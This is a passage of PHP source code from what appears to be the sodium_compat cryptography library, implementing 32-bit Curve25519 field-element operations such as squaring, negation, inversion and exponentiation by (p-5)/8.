        $h4 = $f0g4->addInt64($f1g3_2)->addInt64($f2g2)->addInt64($f3g1_2)
            ->addInt64($f4g0)->addInt64($f5g9_38)->addInt64($f6g8_19)
            ->addInt64($f7g7_38)->addInt64($f8g6_19)->addInt64($f9g5_38);

        // $h5 = $f0g5 + $f1g4    + $f2g3    + $f3g2    + $f4g1    + $f5g0    + $f6g9_19 + $f7g8_19 + $f8g7_19 + $f9g6_19;
        $h5 = $f0g5->addInt64($f1g4)->addInt64($f2g3)->addInt64($f3g2)
            ->addInt64($f4g1)->addInt64($f5g0)->addInt64($f6g9_19)
            ->addInt64($f7g8_19)->addInt64($f8g7_19)->addInt64($f9g6_19);

        // $h6 = $f0g6 + $f1g5_2  + $f2g4    + $f3g3_2  + $f4g2    + $f5g1_2  + $f6g0    + $f7g9_38 + $f8g8_19 + $f9g7_38;
        $h6 = $f0g6->addInt64($f1g5_2)->addInt64($f2g4)->addInt64($f3g3_2)
            ->addInt64($f4g2)->addInt64($f5g1_2)->addInt64($f6g0)
            ->addInt64($f7g9_38)->addInt64($f8g8_19)->addInt64($f9g7_38);

        // $h7 = $f0g7 + $f1g6    + $f2g5    + $f3g4    + $f4g3    + $f5g2    + $f6g1    + $f7g0    + $f8g9_19 + $f9g8_19;
        $h7 = $f0g7->addInt64($f1g6)->addInt64($f2g5)->addInt64($f3g4)
            ->addInt64($f4g3)->addInt64($f5g2)->addInt64($f6g1)
            ->addInt64($f7g0)->addInt64($f8g9_19)->addInt64($f9g8_19);

        // $h8 = $f0g8 + $f1g7_2  + $f2g6    + $f3g5_2  + $f4g4    + $f5g3_2  + $f6g2    + $f7g1_2  + $f8g0    + $f9g9_38;
        $h8 = $f0g8->addInt64($f1g7_2)->addInt64($f2g6)->addInt64($f3g5_2)
            ->addInt64($f4g4)->addInt64($f5g3_2)->addInt64($f6g2)
            ->addInt64($f7g1_2)->addInt64($f8g0)->addInt64($f9g9_38);

        // $h9 = $f0g9 + $f1g8    + $f2g7    + $f3g6    + $f4g5    + $f5g4    + $f6g3    + $f7g2    + $f8g1    + $f9g0   ;
        $h9 = $f0g9->addInt64($f1g8)->addInt64($f2g7)->addInt64($f3g6)
            ->addInt64($f4g5)->addInt64($f5g4)->addInt64($f6g3)
            ->addInt64($f7g2)->addInt64($f8g1)->addInt64($f9g0);

        /**
         * @var ParagonIE_Sodium_Core32_Int64 $h0
         * @var ParagonIE_Sodium_Core32_Int64 $h1
         * @var ParagonIE_Sodium_Core32_Int64 $h2
         * @var ParagonIE_Sodium_Core32_Int64 $h3
         * @var ParagonIE_Sodium_Core32_Int64 $h4
         * @var ParagonIE_Sodium_Core32_Int64 $h5
         * @var ParagonIE_Sodium_Core32_Int64 $h6
         * @var ParagonIE_Sodium_Core32_Int64 $h7
         * @var ParagonIE_Sodium_Core32_Int64 $h8
         * @var ParagonIE_Sodium_Core32_Int64 $h9
         * @var ParagonIE_Sodium_Core32_Int64 $carry0
         * @var ParagonIE_Sodium_Core32_Int64 $carry1
         * @var ParagonIE_Sodium_Core32_Int64 $carry2
         * @var ParagonIE_Sodium_Core32_Int64 $carry3
         * @var ParagonIE_Sodium_Core32_Int64 $carry4
         * @var ParagonIE_Sodium_Core32_Int64 $carry5
         * @var ParagonIE_Sodium_Core32_Int64 $carry6
         * @var ParagonIE_Sodium_Core32_Int64 $carry7
         * @var ParagonIE_Sodium_Core32_Int64 $carry8
         * @var ParagonIE_Sodium_Core32_Int64 $carry9
         */
        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));
        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));

        $carry1 = $h1->addInt(1 << 24)->shiftRight(25);
        $h2 = $h2->addInt64($carry1);
        $h1 = $h1->subInt64($carry1->shiftLeft(25));
        $carry5 = $h5->addInt(1 << 24)->shiftRight(25);
        $h6 = $h6->addInt64($carry5);
        $h5 = $h5->subInt64($carry5->shiftLeft(25));

        $carry2 = $h2->addInt(1 << 25)->shiftRight(26);
        $h3 = $h3->addInt64($carry2);
        $h2 = $h2->subInt64($carry2->shiftLeft(26));
        $carry6 = $h6->addInt(1 << 25)->shiftRight(26);
        $h7 = $h7->addInt64($carry6);
        $h6 = $h6->subInt64($carry6->shiftLeft(26));

        $carry3 = $h3->addInt(1 << 24)->shiftRight(25);
        $h4 = $h4->addInt64($carry3);
        $h3 = $h3->subInt64($carry3->shiftLeft(25));
        $carry7 = $h7->addInt(1 << 24)->shiftRight(25);
        $h8 = $h8->addInt64($carry7);
        $h7 = $h7->subInt64($carry7->shiftLeft(25));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));
        $carry8 = $h8->addInt(1 << 25)->shiftRight(26);
        $h9 = $h9->addInt64($carry8);
        $h8 = $h8->subInt64($carry8->shiftLeft(26));

        $carry9 = $h9->addInt(1 << 24)->shiftRight(25);
        $h0 = $h0->addInt64($carry9->mulInt(19, 5));
        $h9 = $h9->subInt64($carry9->shiftLeft(25));

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));

        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                $h0->toInt32(),
                $h1->toInt32(),
                $h2->toInt32(),
                $h3->toInt32(),
                $h4->toInt32(),
                $h5->toInt32(),
                $h6->toInt32(),
                $h7->toInt32(),
                $h8->toInt32(),
                $h9->toInt32()
            )
        );
    }

    /**
     * Get the negative values for each piece of the field element.
     *
     * h = -f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_neg(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        $h = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        for ($i = 0; $i < 10; ++$i) {
            $h[$i] = $h[$i]->subInt32($f[$i]);
        }
        return $h;
    }

    /**
     * Square a field element
     *
     * h = f * f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_sq(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        $f0 = $f[0]->toInt64();
        $f1 = $f[1]->toInt64();
        $f2 = $f[2]->toInt64();
        $f3 = $f[3]->toInt64();
        $f4 = $f[4]->toInt64();
        $f5 = $f[5]->toInt64();
        $f6 = $f[6]->toInt64();
        $f7 = $f[7]->toInt64();
        $f8 = $f[8]->toInt64();
        $f9 = $f[9]->toInt64();

        $f0_2 = $f0->shiftLeft(1);
        $f1_2 = $f1->shiftLeft(1);
        $f2_2 = $f2->shiftLeft(1);
        $f3_2 = $f3->shiftLeft(1);
        $f4_2 = $f4->shiftLeft(1);
        $f5_2 = $f5->shiftLeft(1);
        $f6_2 = $f6->shiftLeft(1);
        $f7_2 = $f7->shiftLeft(1);
        $f5_38 = $f5->mulInt(38, 6);
        $f6_19 = $f6->mulInt(19, 5);
        $f7_38 = $f7->mulInt(38, 6);
        $f8_19 = $f8->mulInt(19, 5);
        $f9_38 = $f9->mulInt(38, 6);

        $f0f0    = $f0->mulInt64($f0, 28);
        $f0f1_2  = $f0_2->mulInt64($f1, 28);
        $f0f2_2 =  $f0_2->mulInt64($f2, 28);
        $f0f3_2 =  $f0_2->mulInt64($f3, 28);
        $f0f4_2 =  $f0_2->mulInt64($f4, 28);
        $f0f5_2 =  $f0_2->mulInt64($f5, 28);
        $f0f6_2 =  $f0_2->mulInt64($f6, 28);
        $f0f7_2 =  $f0_2->mulInt64($f7, 28);
        $f0f8_2 =  $f0_2->mulInt64($f8, 28);
        $f0f9_2 =  $f0_2->mulInt64($f9, 28);

        $f1f1_2 = $f1_2->mulInt64($f1, 28);
        $f1f2_2 = $f1_2->mulInt64($f2, 28);
        $f1f3_4 = $f1_2->mulInt64($f3_2, 28);
        $f1f4_2 = $f1_2->mulInt64($f4, 28);
        $f1f5_4 = $f1_2->mulInt64($f5_2, 30);
        $f1f6_2 = $f1_2->mulInt64($f6, 28);
        $f1f7_4 = $f1_2->mulInt64($f7_2, 28);
        $f1f8_2 = $f1_2->mulInt64($f8, 28);
        $f1f9_76 = $f9_38->mulInt64($f1_2, 30);

        $f2f2 = $f2->mulInt64($f2, 28);
        $f2f3_2 = $f2_2->mulInt64($f3, 28);
        $f2f4_2 = $f2_2->mulInt64($f4, 28);
        $f2f5_2 = $f2_2->mulInt64($f5, 28);
        $f2f6_2 = $f2_2->mulInt64($f6, 28);
        $f2f7_2 = $f2_2->mulInt64($f7, 28);
        $f2f8_38 = $f8_19->mulInt64($f2_2, 30);
        $f2f9_38 = $f9_38->mulInt64($f2, 30);

        $f3f3_2 = $f3_2->mulInt64($f3, 28);
        $f3f4_2 = $f3_2->mulInt64($f4, 28);
        $f3f5_4 = $f3_2->mulInt64($f5_2, 30);
        $f3f6_2 = $f3_2->mulInt64($f6, 28);
        $f3f7_76 = $f7_38->mulInt64($f3_2, 30);
        $f3f8_38 = $f8_19->mulInt64($f3_2, 30);
        $f3f9_76 = $f9_38->mulInt64($f3_2, 30);

        $f4f4 = $f4->mulInt64($f4, 28);
        $f4f5_2 = $f4_2->mulInt64($f5, 28);
        $f4f6_38 = $f6_19->mulInt64($f4_2, 30);
        $f4f7_38 = $f7_38->mulInt64($f4, 30);
        $f4f8_38 = $f8_19->mulInt64($f4_2, 30);
        $f4f9_38 = $f9_38->mulInt64($f4, 30);

        $f5f5_38 = $f5_38->mulInt64($f5, 30);
        $f5f6_38 = $f6_19->mulInt64($f5_2, 30);
        $f5f7_76 = $f7_38->mulInt64($f5_2, 30);
        $f5f8_38 = $f8_19->mulInt64($f5_2, 30);
        $f5f9_76 = $f9_38->mulInt64($f5_2, 30);

        $f6f6_19 = $f6_19->mulInt64($f6, 30);
        $f6f7_38 = $f7_38->mulInt64($f6, 30);
        $f6f8_38 = $f8_19->mulInt64($f6_2, 30);
        $f6f9_38 = $f9_38->mulInt64($f6, 30);

        $f7f7_38 = $f7_38->mulInt64($f7, 28);
        $f7f8_38 = $f8_19->mulInt64($f7_2, 30);
        $f7f9_76 = $f9_38->mulInt64($f7_2, 30);

        $f8f8_19 = $f8_19->mulInt64($f8, 30);
        $f8f9_38 = $f9_38->mulInt64($f8, 30);

        $f9f9_38 = $f9_38->mulInt64($f9, 28);

        $h0 = $f0f0->addInt64($f1f9_76)->addInt64($f2f8_38)->addInt64($f3f7_76)->addInt64($f4f6_38)->addInt64($f5f5_38);
        $h1 = $f0f1_2->addInt64($f2f9_38)->addInt64($f3f8_38)->addInt64($f4f7_38)->addInt64($f5f6_38);
        $h2 = $f0f2_2->addInt64($f1f1_2)->addInt64($f3f9_76)->addInt64($f4f8_38)->addInt64($f5f7_76)->addInt64($f6f6_19);
        $h3 = $f0f3_2->addInt64($f1f2_2)->addInt64($f4f9_38)->addInt64($f5f8_38)->addInt64($f6f7_38);
        $h4 = $f0f4_2->addInt64($f1f3_4)->addInt64($f2f2)->addInt64($f5f9_76)->addInt64($f6f8_38)->addInt64($f7f7_38);
        $h5 = $f0f5_2->addInt64($f1f4_2)->addInt64($f2f3_2)->addInt64($f6f9_38)->addInt64($f7f8_38);
        $h6 = $f0f6_2->addInt64($f1f5_4)->addInt64($f2f4_2)->addInt64($f3f3_2)->addInt64($f7f9_76)->addInt64($f8f8_19);
        $h7 = $f0f7_2->addInt64($f1f6_2)->addInt64($f2f5_2)->addInt64($f3f4_2)->addInt64($f8f9_38);
        $h8 = $f0f8_2->addInt64($f1f7_4)->addInt64($f2f6_2)->addInt64($f3f5_4)->addInt64($f4f4)->addInt64($f9f9_38);
        $h9 = $f0f9_2->addInt64($f1f8_2)->addInt64($f2f7_2)->addInt64($f3f6_2)->addInt64($f4f5_2);

        /**
         * @var ParagonIE_Sodium_Core32_Int64 $h0
         * @var ParagonIE_Sodium_Core32_Int64 $h1
         * @var ParagonIE_Sodium_Core32_Int64 $h2
         * @var ParagonIE_Sodium_Core32_Int64 $h3
         * @var ParagonIE_Sodium_Core32_Int64 $h4
         * @var ParagonIE_Sodium_Core32_Int64 $h5
         * @var ParagonIE_Sodium_Core32_Int64 $h6
         * @var ParagonIE_Sodium_Core32_Int64 $h7
         * @var ParagonIE_Sodium_Core32_Int64 $h8
         * @var ParagonIE_Sodium_Core32_Int64 $h9
         */

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));

        $carry1 = $h1->addInt(1 << 24)->shiftRight(25);
        $h2 = $h2->addInt64($carry1);
        $h1 = $h1->subInt64($carry1->shiftLeft(25));

        $carry5 = $h5->addInt(1 << 24)->shiftRight(25);
        $h6 = $h6->addInt64($carry5);
        $h5 = $h5->subInt64($carry5->shiftLeft(25));

        $carry2 = $h2->addInt(1 << 25)->shiftRight(26);
        $h3 = $h3->addInt64($carry2);
        $h2 = $h2->subInt64($carry2->shiftLeft(26));

        $carry6 = $h6->addInt(1 << 25)->shiftRight(26);
        $h7 = $h7->addInt64($carry6);
        $h6 = $h6->subInt64($carry6->shiftLeft(26));

        $carry3 = $h3->addInt(1 << 24)->shiftRight(25);
        $h4 = $h4->addInt64($carry3);
        $h3 = $h3->subInt64($carry3->shiftLeft(25));

        $carry7 = $h7->addInt(1 << 24)->shiftRight(25);
        $h8 = $h8->addInt64($carry7);
        $h7 = $h7->subInt64($carry7->shiftLeft(25));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));

        $carry8 = $h8->addInt(1 << 25)->shiftRight(26);
        $h9 = $h9->addInt64($carry8);
        $h8 = $h8->subInt64($carry8->shiftLeft(26));

        $carry9 = $h9->addInt(1 << 24)->shiftRight(25);
        $h0 = $h0->addInt64($carry9->mulInt(19, 5));
        $h9 = $h9->subInt64($carry9->shiftLeft(25));

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));

        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                $h0->toInt32(),
                $h1->toInt32(),
                $h2->toInt32(),
                $h3->toInt32(),
                $h4->toInt32(),
                $h5->toInt32(),
                $h6->toInt32(),
                $h7->toInt32(),
                $h8->toInt32(),
                $h9->toInt32()
            )
        );
    }

    /**
     * Square and double a field element
     *
     * h = 2 * f * f
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     */
    public static function fe_sq2(ParagonIE_Sodium_Core32_Curve25519_Fe $f)
    {
        $f0 = $f[0]->toInt64();
        $f1 = $f[1]->toInt64();
        $f2 = $f[2]->toInt64();
        $f3 = $f[3]->toInt64();
        $f4 = $f[4]->toInt64();
        $f5 = $f[5]->toInt64();
        $f6 = $f[6]->toInt64();
        $f7 = $f[7]->toInt64();
        $f8 = $f[8]->toInt64();
        $f9 = $f[9]->toInt64();

        $f0_2 = $f0->shiftLeft(1);
        $f1_2 = $f1->shiftLeft(1);
        $f2_2 = $f2->shiftLeft(1);
        $f3_2 = $f3->shiftLeft(1);
        $f4_2 = $f4->shiftLeft(1);
        $f5_2 = $f5->shiftLeft(1);
        $f6_2 = $f6->shiftLeft(1);
        $f7_2 = $f7->shiftLeft(1);
        $f5_38 = $f5->mulInt(38, 6); /* 1.959375*2^30 */
        $f6_19 = $f6->mulInt(19, 5); /* 1.959375*2^30 */
        $f7_38 = $f7->mulInt(38, 6); /* 1.959375*2^30 */
        $f8_19 = $f8->mulInt(19, 5); /* 1.959375*2^30 */
        $f9_38 = $f9->mulInt(38, 6); /* 1.959375*2^30 */
        $f0f0 = $f0->mulInt64($f0, 28);
        $f0f1_2 = $f0_2->mulInt64($f1, 28);
        $f0f2_2 = $f0_2->mulInt64($f2, 28);
        $f0f3_2 = $f0_2->mulInt64($f3, 28);
        $f0f4_2 = $f0_2->mulInt64($f4, 28);
        $f0f5_2 = $f0_2->mulInt64($f5, 28);
        $f0f6_2 = $f0_2->mulInt64($f6, 28);
        $f0f7_2 = $f0_2->mulInt64($f7, 28);
        $f0f8_2 = $f0_2->mulInt64($f8, 28);
        $f0f9_2 = $f0_2->mulInt64($f9, 28);
        $f1f1_2 = $f1_2->mulInt64($f1, 28);
        $f1f2_2 = $f1_2->mulInt64($f2, 28);
        $f1f3_4 = $f1_2->mulInt64($f3_2, 29);
        $f1f4_2 = $f1_2->mulInt64($f4, 28);
        $f1f5_4 = $f1_2->mulInt64($f5_2, 29);
        $f1f6_2 = $f1_2->mulInt64($f6, 28);
        $f1f7_4 = $f1_2->mulInt64($f7_2, 29);
        $f1f8_2 = $f1_2->mulInt64($f8, 28);
        $f1f9_76 = $f9_38->mulInt64($f1_2, 29);
        $f2f2 = $f2->mulInt64($f2, 28);
        $f2f3_2 = $f2_2->mulInt64($f3, 28);
        $f2f4_2 = $f2_2->mulInt64($f4, 28);
        $f2f5_2 = $f2_2->mulInt64($f5, 28);
        $f2f6_2 = $f2_2->mulInt64($f6, 28);
        $f2f7_2 = $f2_2->mulInt64($f7, 28);
        $f2f8_38 = $f8_19->mulInt64($f2_2, 29);
        $f2f9_38 = $f9_38->mulInt64($f2, 29);
        $f3f3_2 = $f3_2->mulInt64($f3, 28);
        $f3f4_2 = $f3_2->mulInt64($f4, 28);
        $f3f5_4 = $f3_2->mulInt64($f5_2, 28);
        $f3f6_2 = $f3_2->mulInt64($f6, 28);
        $f3f7_76 = $f7_38->mulInt64($f3_2, 29);
        $f3f8_38 = $f8_19->mulInt64($f3_2, 29);
        $f3f9_76 = $f9_38->mulInt64($f3_2, 29);
        $f4f4 = $f4->mulInt64($f4, 28);
        $f4f5_2 = $f4_2->mulInt64($f5, 28);
        $f4f6_38 = $f6_19->mulInt64($f4_2, 29);
        $f4f7_38 = $f7_38->mulInt64($f4, 29);
        $f4f8_38 = $f8_19->mulInt64($f4_2, 29);
        $f4f9_38 = $f9_38->mulInt64($f4, 29);
        $f5f5_38 = $f5_38->mulInt64($f5, 29);
        $f5f6_38 = $f6_19->mulInt64($f5_2, 29);
        $f5f7_76 = $f7_38->mulInt64($f5_2, 29);
        $f5f8_38 = $f8_19->mulInt64($f5_2, 29);
        $f5f9_76 = $f9_38->mulInt64($f5_2, 29);
        $f6f6_19 = $f6_19->mulInt64($f6, 29);
        $f6f7_38 = $f7_38->mulInt64($f6, 29);
        $f6f8_38 = $f8_19->mulInt64($f6_2, 29);
        $f6f9_38 = $f9_38->mulInt64($f6, 29);
        $f7f7_38 = $f7_38->mulInt64($f7, 29);
        $f7f8_38 = $f8_19->mulInt64($f7_2, 29);
        $f7f9_76 = $f9_38->mulInt64($f7_2, 29);
        $f8f8_19 = $f8_19->mulInt64($f8, 29);
        $f8f9_38 = $f9_38->mulInt64($f8, 29);
        $f9f9_38 = $f9_38->mulInt64($f9, 29);

        $h0 = $f0f0->addInt64($f1f9_76)->addInt64($f2f8_38)->addInt64($f3f7_76)->addInt64($f4f6_38)->addInt64($f5f5_38);
        $h1 = $f0f1_2->addInt64($f2f9_38)->addInt64($f3f8_38)->addInt64($f4f7_38)->addInt64($f5f6_38);
        $h2 = $f0f2_2->addInt64($f1f1_2)->addInt64($f3f9_76)->addInt64($f4f8_38)->addInt64($f5f7_76)->addInt64($f6f6_19);
        $h3 = $f0f3_2->addInt64($f1f2_2)->addInt64($f4f9_38)->addInt64($f5f8_38)->addInt64($f6f7_38);
        $h4 = $f0f4_2->addInt64($f1f3_4)->addInt64($f2f2)->addInt64($f5f9_76)->addInt64($f6f8_38)->addInt64($f7f7_38);
        $h5 = $f0f5_2->addInt64($f1f4_2)->addInt64($f2f3_2)->addInt64($f6f9_38)->addInt64($f7f8_38);
        $h6 = $f0f6_2->addInt64($f1f5_4)->addInt64($f2f4_2)->addInt64($f3f3_2)->addInt64($f7f9_76)->addInt64($f8f8_19);
        $h7 = $f0f7_2->addInt64($f1f6_2)->addInt64($f2f5_2)->addInt64($f3f4_2)->addInt64($f8f9_38);
        $h8 = $f0f8_2->addInt64($f1f7_4)->addInt64($f2f6_2)->addInt64($f3f5_4)->addInt64($f4f4)->addInt64($f9f9_38);
        $h9 = $f0f9_2->addInt64($f1f8_2)->addInt64($f2f7_2)->addInt64($f3f6_2)->addInt64($f4f5_2);

        /**
         * @var ParagonIE_Sodium_Core32_Int64 $h0
         * @var ParagonIE_Sodium_Core32_Int64 $h1
         * @var ParagonIE_Sodium_Core32_Int64 $h2
         * @var ParagonIE_Sodium_Core32_Int64 $h3
         * @var ParagonIE_Sodium_Core32_Int64 $h4
         * @var ParagonIE_Sodium_Core32_Int64 $h5
         * @var ParagonIE_Sodium_Core32_Int64 $h6
         * @var ParagonIE_Sodium_Core32_Int64 $h7
         * @var ParagonIE_Sodium_Core32_Int64 $h8
         * @var ParagonIE_Sodium_Core32_Int64 $h9
         */
        $h0 = $h0->shiftLeft(1);
        $h1 = $h1->shiftLeft(1);
        $h2 = $h2->shiftLeft(1);
        $h3 = $h3->shiftLeft(1);
        $h4 = $h4->shiftLeft(1);
        $h5 = $h5->shiftLeft(1);
        $h6 = $h6->shiftLeft(1);
        $h7 = $h7->shiftLeft(1);
        $h8 = $h8->shiftLeft(1);
        $h9 = $h9->shiftLeft(1);

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));
        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));

        $carry1 = $h1->addInt(1 << 24)->shiftRight(25);
        $h2 = $h2->addInt64($carry1);
        $h1 = $h1->subInt64($carry1->shiftLeft(25));
        $carry5 = $h5->addInt(1 << 24)->shiftRight(25);
        $h6 = $h6->addInt64($carry5);
        $h5 = $h5->subInt64($carry5->shiftLeft(25));

        $carry2 = $h2->addInt(1 << 25)->shiftRight(26);
        $h3 = $h3->addInt64($carry2);
        $h2 = $h2->subInt64($carry2->shiftLeft(26));
        $carry6 = $h6->addInt(1 << 25)->shiftRight(26);
        $h7 = $h7->addInt64($carry6);
        $h6 = $h6->subInt64($carry6->shiftLeft(26));

        $carry3 = $h3->addInt(1 << 24)->shiftRight(25);
        $h4 = $h4->addInt64($carry3);
        $h3 = $h3->subInt64($carry3->shiftLeft(25));
        $carry7 = $h7->addInt(1 << 24)->shiftRight(25);
        $h8 = $h8->addInt64($carry7);
        $h7 = $h7->subInt64($carry7->shiftLeft(25));

        $carry4 = $h4->addInt(1 << 25)->shiftRight(26);
        $h5 = $h5->addInt64($carry4);
        $h4 = $h4->subInt64($carry4->shiftLeft(26));
        $carry8 = $h8->addInt(1 << 25)->shiftRight(26);
        $h9 = $h9->addInt64($carry8);
        $h8 = $h8->subInt64($carry8->shiftLeft(26));

        $carry9 = $h9->addInt(1 << 24)->shiftRight(25);
        $h0 = $h0->addInt64($carry9->mulInt(19, 5));
        $h9 = $h9->subInt64($carry9->shiftLeft(25));

        $carry0 = $h0->addInt(1 << 25)->shiftRight(26);
        $h1 = $h1->addInt64($carry0);
        $h0 = $h0->subInt64($carry0->shiftLeft(26));

        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                $h0->toInt32(),
                $h1->toInt32(),
                $h2->toInt32(),
                $h3->toInt32(),
                $h4->toInt32(),
                $h5->toInt32(),
                $h6->toInt32(),
                $h7->toInt32(),
                $h8->toInt32(),
                $h9->toInt32()
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $Z
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_invert(ParagonIE_Sodium_Core32_Curve25519_Fe $Z)
    {
        $z = clone $Z;
        $t0 = self::fe_sq($z);
        $t1 = self::fe_sq($t0);
        $t1 = self::fe_sq($t1);
        $t1 = self::fe_mul($z, $t1);
        $t0 = self::fe_mul($t0, $t1);
        $t2 = self::fe_sq($t0);
        $t1 = self::fe_mul($t1, $t2);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 5; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 10; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t2 = self::fe_mul($t2, $t1);
        $t3 = self::fe_sq($t2);
        for ($i = 1; $i < 20; ++$i) {
            $t3 = self::fe_sq($t3);
        }
        $t2 = self::fe_mul($t3, $t2);
        $t2 = self::fe_sq($t2);
        for ($i = 1; $i < 10; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t2 = self::fe_sq($t1);
        for ($i = 1; $i < 50; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t2 = self::fe_mul($t2, $t1);
        $t3 = self::fe_sq($t2);
        for ($i = 1; $i < 100; ++$i) {
            $t3 = self::fe_sq($t3);
        }
        $t2 = self::fe_mul($t3, $t2);
        $t2 = self::fe_sq($t2);
        for ($i = 1; $i < 50; ++$i) {
            $t2 = self::fe_sq($t2);
        }
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);
        for ($i = 1; $i < 5; ++$i) {
            $t1 = self::fe_sq($t1);
        }
        return self::fe_mul($t1, $t0);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @ref https://github.com/jedisct1/libsodium/blob/68564326e1e9dc57ef03746f85734232d20ca6fb/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1054-L1106
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $z
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fe_pow22523(ParagonIE_Sodium_Core32_Curve25519_Fe $z)
    {
        # fe_sq(t0, z);
        # fe_sq(t1, t0);
        # fe_sq(t1, t1);
        # fe_mul(t1, z, t1);
        # fe_mul(t0, t0, t1);
        # fe_sq(t0, t0);
        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_sq($z);
        $t1 = self::fe_sq($t0);
        $t1 = self::fe_sq($t1);
        $t1 = self::fe_mul($z, $t1);
        $t0 = self::fe_mul($t0, $t1);
        $t0 = self::fe_sq($t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 5; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 5; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 10; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 10; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t1, t1, t0);
        # fe_sq(t2, t1);
        $t1 = self::fe_mul($t1, $t0);
        $t2 = self::fe_sq($t1);

        # for (i = 1; i < 20; ++i) {
        #     fe_sq(t2, t2);
        # }
        for ($i = 1; $i < 20; ++$i) {
            $t2 = self::fe_sq($t2);
        }

        # fe_mul(t1, t2, t1);
        # fe_sq(t1, t1);
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);

        # for (i = 1; i < 10; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 10; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 50; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 50; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t1, t1, t0);
        # fe_sq(t2, t1);
        $t1 = self::fe_mul($t1, $t0);
        $t2 = self::fe_sq($t1);

        # for (i = 1; i < 100; ++i) {
        #     fe_sq(t2, t2);
        # }
        for ($i = 1; $i < 100; ++$i) {
            $t2 = self::fe_sq($t2);
        }

        # fe_mul(t1, t2, t1);
        # fe_sq(t1, t1);
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);

        # for (i = 1; i < 50; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 50; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t0, t0);
        # fe_sq(t0, t0);
        # fe_mul(out, t0, z);
        $t0 = self::fe_mul($t1, $t0);
        $t0 = self::fe_sq($t0);
        $t0 = self::fe_sq($t0);
        return self::fe_mul($t0, $z);
    }

    /**
     * Subtract two field elements.
     *
     * h = f - g
     *
     * Preconditions:
